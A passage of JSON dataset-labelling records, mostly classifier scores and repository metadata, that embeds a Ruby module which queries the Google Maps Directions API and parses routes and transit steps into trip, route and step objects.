0.06159591978931824}, "creative_writing_quality": {"not_applicable": 0.9996899233204742, "-2": 5.975734315804339e-05, "-1": 7.82091794789151e-05, "0": 0.00012437852702592726, "1": 3.353822657698861e-05, "2": 1.4193403286111423e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.7379189437131468e-05, "Art & Design": 3.6371188490496914e-05, "Law & Crime": 0.0005457541516546581, "Education & Careers": 3.3960650212315894e-05, "Entertainment & Media": 2.3381761952809494e-05, "Fashion & Beauty": 1.9729858437793208e-05, "Business, Economics & Finance": 0.00020238809090898958, "Food & Dining": 2.8978909937602812e-05, "Games & Gaming": 4.257903858905796e-05, "Electronics & Hardware": 0.012587445322495394, "Health, Healthcare & Wellness": 3.640354782217106e-05, "History & Geography": 4.5687175341916955e-05, "Home, Pets & Hobbies": 2.4299937780567257e-05, "Industry & Production": 0.00011548288950178611, "Language, Literature & Philosophy": 4.563448521882771e-05, "Politics & Government": 2.6661994412966936e-05, "Religion & Spirituality": 2.4583013286389402e-05, "Science, Mathematics & Engineering": 0.00014120647803044748, "Relationships & Community": 1.6578104421027224e-05, "Software Usage & Applications": 0.0034071923062510188, "Programming & Software Engineering": 0.9820789035404253, "Sports & Fitness": 3.392884449500501e-05, "Vehicles & Transportation": 2.1207854117701755e-05, "Travel & Tourism": 3.463703685388096e-05, "Other / Uncovered Subject": 0.0003234507201156937, "Unknown / Insufficient Content": 7.617390980925879e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006760939638914142, "Art & Design": 0.0004762839029508852, "Law & Crime": 0.057150365219960385, "Education & Careers": 0.0004812125312611425, "Entertainment & Media": 0.00046416810638270364, "Fashion & Beauty": 0.000290209256915839, "Business, Economics & Finance": 0.0019353383085376748, "Food & Dining": 0.0002415635211402997, "Games & Gaming": 0.000340791092565575, "Electronics & Hardware": 0.03872700144916448, "Health, Healthcare & Wellness": 0.0004096112904325619, "History & Geography": 0.00034002948615296087, "Home, Pets & Hobbies": 0.00027371114587906013, "Industry & Production": 0.0004121390493751763, "Language, Literature & Philosophy": 0.0002902127165003935, "Politics & Government": 0.0005794006361189138, "Religion & Spirituality": 0.000382947653393166, "Science, Mathematics & Engineering": 0.0006229853618842587, "Relationships & Community": 0.00017093737427447268, "Software Usage & Applications": 0.016790883324209784, "Programming & Software Engineering": 0.037595181478789964, "Sports & Fitness": 0.00023629130710890966, "Vehicles & Transportation": 0.0001532823725022857, "Travel & Tourism": 0.00035094080213339356, "Other / Uncovered Subject": 0.0014512262366953462, "NONE": 0.839157192411779}}, "probabilities": {"primary": {"Academic Writing": 2.522328291625635e-05, "Content Listing": 1.9127362958390545e-05, "Creative Writing": 9.035057571399338e-06, "Customer Support Page": 1.6151670091835544e-05, "Q&A Forum": 1.0060972910421646e-05, "Discussion Thread": 6.067881518994606e-06, "Comment Section": 1.2352910738605697e-05, "Missing Content": 2.186802088819796e-05, "Knowledge Article": 3.9930749425303314e-05, "Legal Notices": 0.0030818068341349003, "News Article": 4.597712854148686e-06, "Organizational Announcement": 1.682626955190621e-05, "Nonfiction Writing": 7.258270087331467e-06, "Organizational About Page": 1.4616365221690747e-05, "Personal About Page": 7.589982368521912e-06, "Personal Blog": 6.4895489580961935e-06, "Product Page": 1.1511203481376094e-05, "Spam / Ads": 7.834667912359433e-06, "Structured Data": 0.0021404539249737973, "Technical Writing": 0.9938437275073674, "Transcript / Interview": 1.3255544773108947e-05, "Tutorial / How-To Guide": 4.856233781947195e-05, "User Reviews": 5.387254057222584e-06, "Other / Unknown": 0.0006302646674193241}, "secondary": {"Academic Writing": 0.0005594213452132922, "Content Listing": 0.0005501325655199146, "Creative Writing": 0.0004155116153663366, "Customer Support Page": 0.00039799835899119516, "Q&A Forum": 0.0002770192304690437, "Discussion Thread": 0.00024545106640577855, "Comment Section": 0.0005439354491678002, "Missing Content": 0.0005278578545156112, "Knowledge Article": 0.0009529763858252086, "Legal Notices": 0.7024626970449873, "News Article": 0.00044543700681577713, "Organizational Announcement": 0.0005592429159949041, "Nonfiction Writing": 0.0003517025842041015, "Organizational About Page": 0.0005137109051851508, "Personal About Page": 0.00025253624171381746, "Personal Blog": 0.00023414722700741485, "Product Page": 0.00038708930488008057, "Spam / Ads": 0.0003127075522423846, "Structured Data": 0.02213190684955008, "Technical Writing": 0.0335656186260644, "Transcript / Interview": 0.000488934195766559, "Tutorial / How-To Guide": 0.0003541842747865609, "User Reviews": 0.00018605655494154525, "NONE": 0.2332837248443858}, "tertiary": {"Academic Writing": 0.0005103057933256699, "Content Listing": 0.00038884415298324934, "Creative Writing": 0.0004022240497451222, "Customer Support Page": 0.0003534793348663095, "Q&A Forum": 0.00019675495093201954, "Discussion Thread": 0.00016403463963115316, "Comment Section": 0.0004669570890510663, "Missing Content": 0.0004906369543719862, "Knowledge Article": 0.0013597925189316122, "Legal Notices": 0.24998085347211338, "News Article": 0.00035918863894845993, "Organizational Announcement": 0.00036482102966161565, "Nonfiction Writing": 0.00025844988296545244, "Organizational About Page": 0.0003963635106875031, "Personal About Page": 0.0002245314448797026, "Personal Blog": 0.00021943907934263667, "Product Page": 0.00027085250605657975, "Spam / Ads": 0.0003007812396653038, "Structured Data": 0.023407583452609206, "Technical Writing": 0.00933477448081958, "Transcript / Interview": 0.00035562779760658756, "Tutorial / How-To Guide": 0.0003469337925060904, "User Reviews": 0.00013664033657328272, "NONE": 0.7097101298517264}, "structured_records": {"false": 0.675359093595898, "true": 0.324640906404102}, "procedural_steps": {"false": 0.998710706104928, "true": 0.0012892938950720665}, "worked_solution": {"false": 0.9993419369361667, "true": 0.000658063063833291}, "contextual_dialogue": {"false": 0.9999927631034763, "true": 7.236896523672733e-06}, "content_quality": {"-2": 0.0082854976805966, "-1": 0.028178388916096572, "0": 0.23249567209399724, "1": 0.4650181745909705, "2": 0.2660222667183392}, "noise_severity": {"0": 0.44875231447625136, "1": 0.46091429987570215, "2": 0.08108224250820852, "3": 0.006008939110587556, "4": 0.0032422040292503663}, "missing_content_severity": {"0": 0.9785861752097235, "1": 0.010678203096963832, "2": 0.008007770351511501, "3": 0.002079779983431725, "4": 0.0006480713583694764}, "factual_density": {"0": 0.00704752730692117, "1": 0.031670019358322636, "2": 0.2060050030864275, "3": 0.5063131008011124, "4": 0.24896434944721638}, "pretraining_utility": {"-2": 0.02071689575461669, "-1": 0.3261107873536342, "0": 0.4889940796554958, "1": 0.1488233345409778, "2": 0.01535490269527557}, "math_density": {"0": 0.9902957703371023, "1": 0.0073406707102783705, "2": 0.0006280254444163382, "3": 0.0004089799509942724, "4": 0.0013265535572088674}, "code_density": {"0": 0.0002546154734245547, "1": 0.0005181282258840763, "2": 0.01415059392202251, "3": 0.13957081332249693, "4": 0.845505849056172}, "reasoning_density": {"0": 0.9260381915984937, "1": 0.049294423563408775, "2": 0.02169241146648401, "3": 0.0021787782289719587, "4": 0.0007961951426416841}, "education_level": {"none": 0.0014811377177801842, "0": 0.0016531394650011533, "1": 0.007217514927136543, "2": 0.5508114107204682, "3": 0.3772408773802957, "4": 0.06159591978931825}, "creative_writing_quality": {"not_applicable": 0.999689923320474, "-2": 5.9757343158043374e-05, "-1": 7.820917947891508e-05, "0": 0.00012437852702592723, "1": 3.3538226576988606e-05, "2": 1.419340328611142e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.737918943713146e-05, "Art & Design": 3.637118849049691e-05, "Law & Crime": 0.000545754151654658, "Education & Careers": 3.396065021231589e-05, "Entertainment & Media": 2.3381761952809487e-05, "Fashion & Beauty": 1.9729858437793205e-05, "Business, Economics & Finance": 0.00020238809090898953, "Food & Dining": 2.8978909937602805e-05, "Games & Gaming": 4.2579038589057954e-05, "Electronics & Hardware": 0.01258744532249539, "Health, Healthcare & Wellness": 3.640354782217105e-05, "History & Geography": 4.568717534191695e-05, "Home, Pets & Hobbies": 2.429993778056725e-05, "Industry & Production": 0.00011548288950178609, "Language, Literature & Philosophy": 4.5634485218827706e-05, "Politics & Government": 2.666199441296693e-05, "Religion & Spirituality": 2.4583013286389396e-05, "Science, Mathematics & Engineering": 0.00014120647803044745, "Relationships & Community": 1.657810442102722e-05, "Software Usage & Applications": 0.003407192306251018, "Programming & Software Engineering": 0.982078903540425, "Sports & Fitness": 3.3928844495005004e-05, "Vehicles & Transportation": 2.1207854117701752e-05, "Travel & Tourism": 3.463703685388095e-05, "Other / Uncovered Subject": 0.00032345072011569367, "Unknown / Insufficient Content": 7.617390980925878e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006760939638914142, "Art & Design": 0.0004762839029508852, "Law & Crime": 0.057150365219960385, "Education & Careers": 0.0004812125312611425, "Entertainment & Media": 0.00046416810638270364, "Fashion & Beauty": 0.000290209256915839, "Business, Economics & Finance": 0.0019353383085376748, "Food & Dining": 0.0002415635211402997, "Games & Gaming": 0.000340791092565575, "Electronics & Hardware": 0.03872700144916448, "Health, Healthcare & Wellness": 0.0004096112904325619, "History & Geography": 0.00034002948615296087, "Home, Pets & Hobbies": 0.00027371114587906013, "Industry & Production": 0.0004121390493751763, "Language, Literature & Philosophy": 0.0002902127165003935, "Politics & Government": 0.0005794006361189138, "Religion & Spirituality": 0.000382947653393166, "Science, Mathematics & Engineering": 0.0006229853618842587, "Relationships & Community": 0.00017093737427447268, "Software Usage & Applications": 0.016790883324209784, "Programming & Software Engineering": 0.037595181478789964, "Sports & Fitness": 0.00023629130710890966, "Vehicles & Transportation": 0.0001532823725022857, "Travel & Tourism": 0.00035094080213339356, "Other / Uncovered Subject": 0.0014512262366953462, "NONE": 0.839157192411779}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11749, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11749, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:08.423777+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "63427746-2090-44c1-a7e2-bfffb9db1890", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "bae7f3b18bd6c7379dceebdc52c0df57943d82ab9cb1fb0bf910c193609da7c9", "source_metadata": {"uuid": "63427746-2090-44c1-a7e2-bfffb9db1890", "repo_name": "oracle/oci-ruby-sdk", "relative_path": "lib/oci/opsi/models/exadata_database_machine_configuration_summary.rb", "category": "TOOL", "algo_rel_score": 0.604281485080719, "quality_score": 6.294714450836182, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 134, "repo_created_at": "2016-11-04T04:49:57.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 30, "forks": 18, "issues": 4, "pull_requests": 1}, "file_meta": {"content_id": "f005a6c27c31e5a091e2986b5ea3de47db8256c7", "size_bytes": 14178, "file_timestamp": 1748323645, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "ed2777d8e740aca91b71336b9dfe9176ae0dd85f"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 134, "repo_created_at": "2016-11-04T04:49:57.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 30, "forks": 18, "issues": 4, "pull_requests": 1}, "file_meta": {"content_id": "f005a6c27c31e5a091e2986b5ea3de47db8256c7", "size_bytes": 14178, "file_timestamp": 1748323645, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "ed2777d8e740aca91b71336b9dfe9176ae0dd85f", "url": "https://github.com/oracle/oci-ruby-sdk/blob/ed2777d8e740aca91b71336b9dfe9176ae0dd85f/lib/oci/opsi/models/exadata_database_machine_configuration_summary.rb"}, "gpt4o_tokens": 3132, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.952313323750359, "noise_severity": 0.6540744183408833, "missing_content_severity": 0.03552536918375991, "factual_density": 2.95847672572338, "pretraining_utility": -0.18801143893133865, "math_density": 0.015129875680929335, "code_density": 3.829555152262108, "reasoning_density": 0.1024003617538594, "education_level": 2.4906356220272645, "creative_writing_quality": -0.4379524214893751}, "score_applicability": {"education_level": 0.9985188622822199, "creative_writing_quality": 0.0003100766795259857}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/mattduboismatt/my-way/blob/06635ad223b07a5c1c4b8b4f7341341c75b8c5da/app/modules/google_maps.rb", "id": "ruby-0-d9b84389519ac9172e9b40b6e57313cd", "text": "module GoogleMaps\n\n def self.run(trip)\n init_mode = \"driving\"\n other_modes = [\"walking\",\"bicycling\",\"transit\"]\n req = self.build_uri(trip.origin.address,trip.destination.address,init_mode)\n res = Net::HTTP.get(req)\n google_trip = self.build_trip(res)\n other_modes.each do |m|\n req = self.build_uri(trip.origin.address,trip.destination.address,m)\n res = Net::HTTP.get(req)\n self.build_trip(res, google_trip)\n end\n google_trip.routes\n end\n\n def self.build_uri(a,b,mode)\n if mode == 'transit'\n alt = true\n else\n alt = false\n end\n uri = URI::HTTPS.build({\n host: 'maps.googleapis.com',\n path: '/maps/api/directions/json',\n query: URI.encode_www_form(\n origin: a,\n destination: b,\n mode: mode,\n alternatives: alt,\n region: 'us',\n key: ENV[\"GOOGLE_MAP_API_KEY\"]\n )\n })\n end\n\n def self.build_trip(json, trip=nil)\n data = JSON.parse(json)\n if trip\n data['routes'].each {|r| trip.add_route(r, trip.origin, trip.destination)}\n else\n trip = GoogleTrip.new(data)\n end\n trip\n end\nend\n\nclass GoogleThing\n attr_reader :id\n def initialize(*args)\n @id = SecureRandom.uuid\n end\nend\n\nclass GoogleTrip < GoogleThing\n attr_reader :origin, :destination, :routes\n\n def initialize(trip_data)\n super\n first_leg = trip_data['routes'][0]['legs'][0]\n @origin = first_leg['start_location']\n @destination = first_leg['end_location']\n @routes = []\n trip_data['routes'].each {|r| add_route(r, @origin, @destination)}\n end\n\n def add_route(route_data, a, b)\n @routes << GoogleRoute.new(route_data['legs'][0], a, b)\n end\nend\n\n\nclass GoogleRoute < GoogleThing\n attr_accessor :travel_mode, :duration, :wait_time\n attr_reader :distance, :steps, :origin, :destination\n\n def initialize(route_data, a, b)\n super\n @origin = a\n @destination = b\n @distance = route_data['distance']['value'] # in meters!!!\n @duration = route_data['duration']['value'] # in seconds!!!\n @steps = []\n route_data['steps'].each {|s| add_step(update_step_data(s))}\n @travel_mode = self.set_travel_mode\n @wait_time = 0\n end\n\n def add_step(step_data)\n @steps << GoogleStep.new(step_data)\n end\n\n def update_step_data(s)\n s['origin'] = @origin\n s['destination'] = @destination\n s\n end\n\n def set_travel_mode\n modes = self.steps.map{|s| s.travel_mode }\n if modes.include?('driving')\n 'driving'\n elsif modes.include?('bicycling')\n 'bicycling'\n elsif modes.include?('transit')\n transit_modes = self.steps.map{|s| s.transit_mode_type }\n if transit_modes.include?('bus')\n 'bus'\n elsif transit_modes.include?('subway')\n 'subway'\n end\n else\n 'walking'\n end\n end\nend\n\nclass GoogleStep < GoogleThing\n attr_reader :distance, :duration, :travel_mode, :transit_stop_name, :transit_mode_type, :origin, :destination\n\n def initialize(step_data)\n super\n @origin = step_data['origin']\n @destination = step_data['destination']\n @distance = step_data['distance']['value'] # in meters!!!\n @duration = step_data['duration']['value'] # in seconds!!!\n @travel_mode = step_data['travel_mode'].strip.downcase\n @transit_mode_type = self.set_transit_mode_type(step_data['transit_details'])\n @transit_origin_stop_name = self.set_transit_origin_stop_name(step_data['transit_details'])\n @transit_line_name = self.set_transit_line_name(step_data['transit_details'])\n @transit_line_code = self.set_transit_line_code(step_data['transit_details'])\n @transit_headsign = self.set_transit_headsign(step_data['transit_details'])\n @transit_destination_stop_name = self.set_transit_destination_stop_name(step_data['transit_details'])\n end\n\n def set_transit_mode_type(transit_details)\n if self.travel_mode != 'transit'\n nil\n else\n transit_details['line']['vehicle']['type'].downcase\n end\n end\n\n def set_transit_origin_stop_name(transit_details)\n if self.travel_mode != 'transit'\n nil\n else\n transit_details['departure_stop']['name'].downcase\n end\n end\n\n def set_transit_destination_stop_name(transit_details)\n if self.travel_mode != 'transit'\n nil\n else\n transit_details['arrival_stop']['name'].downcase\n end\n end\n\n def set_transit_line_name(transit_details)\n if self.travel_mode != 'transit'\n nil\n else\n transit_details['line']['name'].downcase\n end\n end\n\n def set_transit_line_code(transit_details)\n if self.travel_mode != 'transit'\n nil\n else\n if self.transit_mode_type == 'bus'\n transit_details['line']['short_name'].downcase\n elsif self.transit_mode_type == 'subway'\n transit_details['line']['color'].downcase\n end\n end\n end\n\n\n def set_transit_headsign(transit_details)\n if self.travel_mode != 'transit'\n nil\n else\n transit_details['headsign'].downcase\n end\n end\nend\n", "text_preview": "module GoogleMaps def self.run(trip) init_mode = \"driving\" other_modes = [\"walking\",\"bicycling\",\"transit\"] req = self.build_uri(trip.origin.address,trip.destination.address,init_mode) res = Net::HTTP.get(req) google_trip = self.build_trip(r", "input_sha256": "29cce38b8cbaca797b7c0744cea9bad007f30a234fec9aabfc8998a092163c46", "text_sha256": "d9b84389519ac9172e9b40b6e57313cd104b94964bb46c7803890e1f33ca0659", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16048, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.6665469821967398, "noise_severity": 0.01028378044212868, "missing_content_severity": 0.01301146036665336, "factual_density": 3.342347479564985, "pretraining_utility": 0.490758566463647, "math_density": 0.08699244500608319, "code_density": 3.7997259175822187, "reasoning_density": 0.6215824651052236, "education_level": 2.076898757408757, "creative_writing_quality": -0.31690400779665445}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.014860863774592725, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9969213928404911, "secondary": 0.9780789826657306, "tertiary": 0.993585970952262, "structured_records": 0.011582263744316174, "procedural_steps": 0.01046634970586254, "worked_solution": 0.0019366818022462015, "contextual_dialogue": 7.745604399884958e-06, "content_quality": 0.4896499841644705, "noise_severity": 0.9914301829648927, "missing_content_severity": 0.9891571163611222, "factual_density": 0.45195623297082066, "pretraining_utility": 0.44192937996277926, "math_density": 0.927506295828264, "code_density": 0.8331049313185155, "reasoning_density": 0.4820146124123136, "education_level": 0.8092613054887299, "creative_writing_quality": 0.9996153258950129, "primary_topic": 0.9592307628973366, "secondary_topic": 0.4021878374406293}, "probability_margin": {"primary": 0.9960794942356451, "secondary": 0.9703592800971702, "tertiary": 0.991386097367562, "education_level": 0.7338775032839935, "creative_writing_quality": 0.9995425126076318, "primary_topic": 0.9352481751901504, "secondary_topic": 0.10704709159835851}, "raw_probabilities": {"primary": {"Academic Writing": 2.6470555445962234e-05, "Content Listing": 1.2339829976139228e-05, "Creative Writing": 1.4036716465694304e-05, "Customer Support Page": 8.311916115012844e-06, "Q&A Forum": 1.0381065674809416e-05, "Discussion Thread": 6.335743794518866e-06, "Comment Section": 1.306992783056776e-05, "Missing Content": 2.3048099874870405e-05, "Knowledge Article": 8.628152107329712e-05, "Legal Notices": 2.0217498262365645e-05, "News Article": 3.997874187985215e-06, "Organizational Announcement": 8.427726317168243e-06, "Nonfiction Writing": 1.1239508318563001e-05, "Organizational About Page": 1.0863400824707166e-05, "Personal About Page": 1.4248553416521946e-05, "Personal Blog": 7.394202576812062e-06, "Product Page": 7.234211376485927e-06, "Spam / Ads": 1.0249658183898156e-05, "Structured Data": 0.0008976518977991982, "Technical Writing": 0.9970496681388039, "Transcript / Interview": 1.3845559561645534e-05, "Tutorial / How-To Guide": 0.0007677042433264644, "User Reviews": 6.808247634659651e-06, "Other / Unknown": 0.0009701739031588093}, "secondary": {"Academic Writing": 0.00011332052810887475, "Content Listing": 7.689571546964143e-05, "Creative Writing": 9.429639906658421e-05, "Customer Support Page": 5.3994108011079246e-05, "Q&A Forum": 4.25102974734583e-05, "Discussion Thread": 3.215805900354722e-05, "Comment Section": 9.476663238232388e-05, "Missing Content": 0.0002780698898644221, "Knowledge Article": 0.0005442195028275649, "Legal Notices": 0.0001255590999825993, "News Article": 5.32730971425849e-05, "Organizational Announcement": 4.3001264942100184e-05, "Nonfiction Writing": 5.456176698481871e-05, "Organizational About Page": 7.003745221848365e-05, "Personal About Page": 5.03373308415161e-05, "Personal Blog": 4.417855527207325e-05, "Product Page": 3.6709863567414176e-05, "Spam / Ads": 6.312936065302758e-05, "Structured Data": 0.008244672867422234, "Technical Writing": 0.008633078290821553, "Transcript / Interview": 6.477621666836233e-05, "Tutorial / How-To Guide": 0.0021667105937039862, "User Reviews": 2.7384719580002322e-05, "NONE": 0.9789923583879918}, "tertiary": {"Academic Writing": 4.4411759168920625e-05, "Content Listing": 4.437947571325585e-05, "Creative Writing": 4.3495663849146284e-05, "Customer Support Page": 2.4939065629754516e-05, "Q&A Forum": 1.820634495610792e-05, "Discussion Thread": 1.2963981256268671e-05, "Comment Section": 5.757567396448268e-05, "Missing Content": 0.00019011491995828825, "Knowledge Article": 0.0002850068085356272, "Legal Notices": 0.00011570521958528842, "News Article": 2.9102342154587913e-05, "Organizational Announcement": 2.194701623149795e-05, "Nonfiction Writing": 3.343931450619573e-05, "Organizational About Page": 4.533132364576692e-05, "Personal About Page": 2.3925125536003022e-05, "Personal Blog": 2.188657961932682e-05, "Product Page": 2.2914287850876403e-05, "Spam / Ads": 3.34715870222784e-05, "Structured Data": 0.0015321940539379873, "Technical Writing": 0.0024671247950224066, "Transcript / Interview": 2.844030842877808e-05, "Tutorial / How-To Guide": 0.0010350865036166074, "User Reviews": 1.511568722604208e-05, "NONE": 0.9938532221625844}, "structured_records": {"false": 0.9884177362556839, "true": 0.011582263744316174}, "procedural_steps": {"false": 0.9895336502941374, "true": 0.01046634970586254}, "worked_solution": {"false": 0.9980633181977538, "true": 0.0019366818022462015}, "contextual_dialogue": {"false": 0.9999922543956001, "true": 7.745604399884958e-06}, "content_quality": {"-2": 0.014046430633487211, "-1": 0.06830414225057874, "0": 0.2941889420013287, "1": 0.4839769845149176, "2": 0.13948350059968764}, "noise_severity": {"0": 0.990943175156045, "1": 0.008274848074559568, "2": 0.0004738443579647377, "3": 0.00017128599408379423, "4": 0.0001368464173470642}, "missing_content_severity": {"0": 0.9927965637829741, "1": 0.002909733669852589, "2": 0.003022440212322998, "3": 0.0010282030672471901, "4": 0.00024305926760330164}, "factual_density": {"0": 0.0053326297421143745, "1": 0.011140254317935373, "2": 0.11418618593349503, "3": 0.3745288666457615, "4": 0.4948120633606937}, "pretraining_utility": {"-2": 0.007688458212924134, "-1": 0.08428161768378424, "0": 0.397834478784168, "1": 0.42997379006496766, "2": 0.08022165525415594}, "math_density": {"0": 0.9599138403716515, "1": 0.019448740804075312, "2": 0.005043505758327965, "3": 0.004918959578429002, "4": 0.010674953487516235}, "code_density": {"0": 0.000504293138696251, "1": 0.0010043083548344344, "2": 0.033064343333789395, "3": 0.1291152981309143, "4": 0.8363117570417655}, "reasoning_density": {"0": 0.7150550296279148, "1": 0.07213587698304325, "2": 0.12322159704183244, "3": 0.05534659135032287, "4": 0.03424090499688672}, "education_level": {"none": 0.001022501389999293, "0": 0.001561293375279887, "1": 0.041871311652877774, "2": 0.8410510879072749, "3": 0.10717358462328139, "4": 0.007320221051286824}, "creative_writing_quality": {"not_applicable": 0.999679438245844, "-2": 4.868278798899254e-05, "-1": 7.866645600370723e-05, "0": 0.0001369256382122576, "1": 3.812901655806408e-05, "2": 1.8157855392680257e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.51421828769314e-05, "Art & Design": 0.0001288663833419878, "Law & Crime": 8.754255696078092e-05, "Education & Careers": 6.439765352242301e-05, "Entertainment & Media": 5.9268528229518085e-05, "Fashion & Beauty": 5.963490680650656e-05, "Business, Economics & Finance": 0.00014684827295358398, "Food & Dining": 5.7309925119630116e-05, "Games & Gaming": 0.00010801901001949704, "Electronics & Hardware": 0.0001050534719332832, "Health, Healthcare & Wellness": 6.540079077687596e-05, "History & Geography": 0.00018856212977593357, "Home, Pets & Hobbies": 5.1968650687771305e-05, "Industry & Production": 6.49794961167213e-05, "Language, Literature & Philosophy": 6.859122834314475e-05, "Politics & Government": 4.3437606504012626e-05, "Religion & Spirituality": 6.011240274797646e-05, "Science, Mathematics & Engineering": 0.0003913167044674738, "Relationships & Community": 4.348676474018491e-05, "Software Usage & Applications": 0.004196022070607162, "Programming & Software Engineering": 0.9607988104782083, "Sports & Fitness": 0.00013566377770735555, "Vehicles & Transportation": 0.025550635288057944, "Travel & Tourism": 0.007146637639124107, "Other / Uncovered Subject": 0.000232679663391011, "Unknown / Insufficient Content": 7.961241697981963e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0012555519492834302, "Art & Design": 0.0011007445529049868, "Law & Crime": 0.0009322767131590671, "Education & Careers": 0.0006004121070258084, "Entertainment & Media": 0.000862408678630764, "Fashion & Beauty": 0.0005551461365789001, "Business, Economics & Finance": 0.0014956190193522807, "Food & Dining": 0.0005985035298351541, "Games & Gaming": 0.0009004932159265487, "Electronics & Hardware": 0.0009072374189539044, "Health, Healthcare & Wellness": 0.0008957583870427712, "History & Geography": 0.001579422631878758, "Home, Pets & Hobbies": 0.0005730360840566809, "Industry & Production": 0.0006248429604675862, "Language, Literature & Philosophy": 0.000489421144238306, "Politics & Government": 0.0004619996831760934, "Religion & Spirituality": 0.0007356827368894647, "Science, Mathematics & Engineering": 0.0019221534989009674, "Relationships & Community": 0.0003323848897923241, "Software Usage & Applications": 0.027252447411028426, "Programming & Software Engineering": 0.11733809225889469, "Sports & Fitness": 0.0011632989289508957, "Vehicles & Transportation": 0.3181335213253235, "Travel & Tourism": 0.09294076629897184, "Other / Uncovered Subject": 0.0011681655150548116, "NONE": 0.42518061292368203}}, "probabilities": {"primary": {"Academic Writing": 2.6470555445962234e-05, "Content Listing": 1.2339829976139228e-05, "Creative Writing": 1.4036716465694304e-05, "Customer Support Page": 8.311916115012844e-06, "Q&A Forum": 